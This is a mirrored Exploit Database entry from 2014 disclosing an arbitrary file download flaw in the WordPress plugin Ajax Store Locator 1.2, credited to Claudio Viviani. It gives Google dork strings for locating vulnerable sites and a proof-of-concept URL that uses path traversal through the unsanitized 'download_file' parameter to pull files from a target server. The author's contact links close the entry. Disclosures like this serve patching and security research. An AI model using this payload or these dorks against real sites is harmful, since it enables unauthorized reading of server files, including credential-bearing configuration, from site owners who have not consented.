WordPress Plugin Ajax Store Locator 1.2 – Arbitrary File Download

• Exploit Database
• 34 阅读

• 作者： Claudio Viviani
  日期： 2014-12-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35493/

• ######################
  
  # Exploit Title : WordPress Ajax Store Locator <= 1.2 Arbitrary File Download
  
  # Exploit Author : Claudio Viviani
  
  # Vendor Homepage : http://codecanyon.net/item/ajax-store-locator-wordpress/5293356
  
  # Software Link : Premium
  
  # Dork Google: inurl:ajax-store-locator
  #index of ajax-store-locator
  
  # Date : 2014-12-06
  
  # Tested on : Windows 7 / Mozilla Firefox
  # Linux / Mozilla Firefox
  
  ######################
  
  # PoC Exploit:
  
  http://TARGET/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=[../../somefile]
  
  "download_file" variable is not sanitized.
  
   
  #####################
  
  Discovered By : Claudio Viviani
  http://www.homelab.it
  		
  info@homelab.it
  homelabit@protonmail.ch
  
  https://www.facebook.com/homelabit
  https://twitter.com/homelabit
  https://plus.google.com/+HomelabIt1/
  https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  
  #####################